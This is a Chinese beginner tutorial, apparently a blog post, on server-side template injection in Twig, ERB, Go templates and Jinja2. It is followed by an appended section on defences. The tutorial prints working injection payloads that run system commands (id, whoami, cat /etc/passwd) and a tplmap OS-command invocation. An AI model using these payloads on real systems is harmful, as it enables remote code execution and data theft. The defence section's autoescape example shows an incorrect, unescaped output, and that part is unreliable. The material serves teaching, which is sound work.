适合小白学的基础知识—SSTI漏洞学习

在这里插入图片描述

SSTI 简介

MVC
MVC是一种框架型模式,全名是Model View Controller。

即模型(model)-视图(view)-控制器(controller)
在MVC的指导下开发中用一种业务逻辑、数据、界面显示分离的方法组织代码,将业务逻辑聚集到一个部件里面,在改进和个性化定制界面及用户交互的同时,得到更好的开发和维护效率。

在MVC框架中,用户的输入通过 View 接收,交给 Controller ,然后由 Controller 调用 Model 或者其他的 Controller 进行处理,最后再返回给 View ,这样就最终显示在我们的面前了,那么这里的 View 中就会大量地用到一种叫做模板的技术。

绕过服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,而模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,就会导致敏感信息泄露、代码执行、GetShell 等问题.

虽然市面上关于SSTI的题大都出在python上,但是这种攻击方式请不要认为只存在于 Python 中,凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言。

常见的模板引擎和注入漏洞

Twig(PHP)
首先以Twig模板引擎介绍SSTI,很多时候,SSTI发生在直接将用户输入作为模板,比如下面的代码

<?php
require_once "./vendor/autoload.php";

$loader = new \Twig\Loader\ArrayLoader([
    'index' => 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);


$template = $twig->createTemplate("Hello {$_GET['name']}!");

echo $template->render();

createTemplate时注入了$_GET[‘name’],就会引发SSTI

而如下代码则不会,因为模板引擎解析的是字符串常量中的{{name}},而不是动态拼接的$_GET[“name”]

<?php
require_once "./vendor/autoload.php";

$loader = new \Twig\Loader\ArrayLoader([
    'index' => 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);

echo $twig->render('index', array("name" => $_GET["name"]));

而对于模板引擎的利用,往往是借助模板中的一些方法实现攻击目的,比如Twig中的过滤器map
在这里插入图片描述

举个经典的例子

{{[“man”]|map((arg)=>“hello #{arg}”)}}
会被编译成下面这样

twig_array_map([0 => “id”], function (KaTeX parse error: Expected group after '_' at position 1: _̲_arg__) use (context, $macros) { $context[“arg”] = KaTeX parse error: Expected group after '_' at position 1: _̲_arg__; return …context[“arg”] ?? null))

关于这个twig_array_map,源码中是这样的
在这里插入图片描述

可以看到传入的$arrow被当作函数执行,那么可以不传arrow function,可以只传一个字符串,找个两个参数的能够命令执行的危险函数即可

比如

{{["id"]|map("system")|join(",")}}
{{["phpinfo();"]|map("assert")|join(",")}}
{{["id", 0]|map("passthru")}}

类似的,我们还可以找到一些其他的过滤器sort,filiter,网上也有较多介绍,就不再赘述了。

当然,SSTI还有一种基础的利用方式就是用来泄露源码和程序环境中的上下文信息,在Twig引擎中,我们可以通过下面方法获得一些关于当前应用的信息

{{_self}} #指向当前应用
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

ERB(Ruby)

相较于Twig,ERB的代码直接提供了一些命令执行的接口,比如

<%= system("whoami") %>
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>

这里提起他主要是引出模板标签的一些分类

比如这里的ERB模板标签使用<%= %>,Twig使用{{}},根据一些简单的poc和标签的分类,我们可以快速识别出是否存在模板漏洞以及所使用的模板引擎技术

在这里插入图片描述

当然有些模板引擎的标签是可以自定义的,上面列出的只是默认情况

Golang SSTI

关于Golang Template的SSTI研究目前来说还比较少,可能是因为本身设计的也比较安全。

不过通过{{.}}我们可以获得到作用域

在这里插入图片描述

比如在下面这个例子中

package main

import (
    "html/template"
    "net/http"
)

func handler(w http.ResponseWriter, r *http.Request) {
    //var name = ""
    r.ParseForm() // Parses the request body
    x := r.Form.Get("name")
    var test map[string]interface{}
    test = make(map[string]interface{})

    var secret map[string]interface{}
    secret = make(map[string]interface{})

    flag := "flag{testflag}"
    secret["flag"] = &flag

    test["secret"] = secret

    var tmpl = `<!DOCTYPE html><html><body>
<form action="/" method="post">
    First name:<br>
<input type="text" name="name" value="">
<input type="submit" value="Submit">
</form><p>` + x + ` </p></body></html>`

    t := template.New("main") //name of the template is main
    t, _ = t.Parse(tmpl)      // parsing of template string
    t.Execute(w, test)
}

func main() {
    server := http.Server{
        Addr: "0.0.0.0:5090",
    }
    http.HandleFunc("/", handler)
    server.ListenAndServe()
}

可以获取到作用域对象

在这里插入图片描述

进一步可以获得flag

在这里插入图片描述

甚至如果在作用域中存在可以利用的函数,我们还可以调用该函数完成攻击,比如

type User struct {
    ID       int
    Email    string
    Password string
}

func (u User) System(test string) string {
    out, _ := exec.Command(test).CombinedOutput()
    return string(out)
}

就有

在这里插入图片描述

Flask/Jinja
这个引擎应该是出镜率最高的了,能写的东西也很多,由于篇幅所限,具体内容会在(下)中展开记录。

常用检测工具 Tplmap

工具地址:https://github.com/epinna/tplmap

和sqlmap的设计风格一致,直接怼就行

/tplmap.py --os-cmd -u 'http://www.target.com/page?name=John'

总结

SSTI在MVC架构中是经常出现的一类问题,除去本文中介绍的几个引擎,还有许多受影响的引擎,比如Velocity 等。该问题主要是由于开发者直接将用户输入作为模板交给模板引擎渲染导致的,将用户输入绑定到模板的参数中可以缓解这一问题。通过SSTI,我们往往可以获取到程序运行的上下文环境,甚至利用模板引擎的内置方法完成远程代码注入等高危攻击。

我整理了网络安全的学习资料与指导书籍

吃碗面压压惊

在这里插入图片描述

### SSTI漏洞原理 服务器端模板注入(Server-Side Template Injection, SSTI)是一种安全漏洞,允许攻击者通过控制模板输入参数,在服务器端模板引擎中执行恶意代码[^3]。这种漏洞通常发生在开发者未对用户输入进行适当过滤的情况下。 #### 漏洞形成原因 当模板引擎直接将未经验证的用户输入嵌入到模板字符串中时,可能会引发SSTI漏洞。例如,某些框架(如Python中的Jinja2)支持动态模板渲染功能,如果开发者错误地实现了如下危险代码: ```python template_str = f"Welcome, {user_input}" output = Template(template_str).render() ``` 上述代码片段中,`user_input`是由外部传入的数据,而该数据并未经过任何安全性处理就直接用于构建模板字符串。一旦攻击者能够操控此输入字段,则可能向其中插入恶意指令以触发远程代码执行或其他危害行为[^5]。 --- ### 防御措施 针对SSTI漏洞的有效防护手段主要包括以下几个方面: 1. **严格校验与清理用户提交的内容** 对所有来自客户端请求的数据都需进行全面细致地检查以及必要的转义操作,从而杜绝非法字符或者潜在有害语句混入最终形成的HTML页面之中[^4]。 2. **采用白名单机制限定可接受参数范围** 只允许预定义好的选项作为合法值参与后续业务逻辑运算过程;对于超出规定之外的选择一律拒绝受理. 3. **禁用复杂表达式的解析能力** 如果没有必要的话,应该关闭那些能够让脚本解释器理解并运行任意命令的功能开关。比如在配置文件里设置 `autoescape=True`, 这样就可以自动给所有的变量加上 HTML 转义标记: ```python from jinja2 import Environment, select_autoescape env = Environment(autoescape=select_autoescape(['html', 'xml'])) template = env.from_string('<b>{{ name }}</b>') print(template.render(name='<script>alert(1)</script>')) # 输出:<b><script>alert(1)</script></b> ``` 4. **最小化权限原则管理资源访问权** 确保只有真正需要的人才可以接触到敏感部位的信息资产,包括但不限于源码库、部署环境等等重要环节. 5. **定期更新依赖组件至最新稳定版本** 关注官方发布的补丁公告及时修复已知缺陷问题,减少因第三方库存在安全隐患而导致整体系统面临风险的可能性. --- ### 结论 综上所述,SSTI 是一种非常严重的 Web 应用层面上的安全隐患形式之一,它不仅可以让入侵者轻易获取目标主机上的机密资料甚至完全掌控整个网络架构体系结构,而且还会造成难以估量经济损失和社会影响后果严重程度不言自明。因此我们必须高度重视起来采取切实可行的技术方案加以防范遏制此事件再次发生几率降到最低水平线上去努力奋斗前行之路永无止境!
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值